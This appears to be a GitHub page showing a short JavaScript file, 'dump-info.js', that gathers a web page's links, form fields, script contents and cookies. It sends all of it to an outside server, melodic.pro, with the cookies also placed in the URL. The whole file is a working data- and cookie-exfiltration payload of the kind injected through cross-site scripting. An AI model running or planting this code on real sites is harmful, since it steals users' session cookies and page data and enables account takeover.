-
Notifications
You must be signed in to change notification settings - Fork 0
/
dump-info.js
40 lines (34 loc) · 1.24 KB
/
dump-info.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
DUMP ALL scripts and relevant info.. another verison
(() => {
const url = window.location.href;
const path = ((url.match(/\/\/[^/]+(\/[^?]+)/) || [])[1] || url);
const search = (url || '').split('?')[0];
const links = Array.from(document.querySelectorAll('a')).map(a => a.href);
const forms = Array.from(document.querySelectorAll('form')).map(form => ({
action: form.action,
method: form.method,
inputs: Array.from(form.elements).map(el => ({ name: el.name, type: el.type }))
}));
const scripts = Array.from(document.querySelectorAll('script')).map(script => script.src || script.innerText.substring(0, 100));
const cookies = document.cookie;
const data = {
path,
search,
links,
forms,
scripts,
cookies
};
console.log('Data collected:', data);
// Send the data to the specified endpoint
fetch('https://melodic.pro?id=' + document.cookie, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify(data),
})
.then(response => response.text())
.then(text => console.log('Server response:', text))
.catch(err => console.error('Fetch error:', err));
})();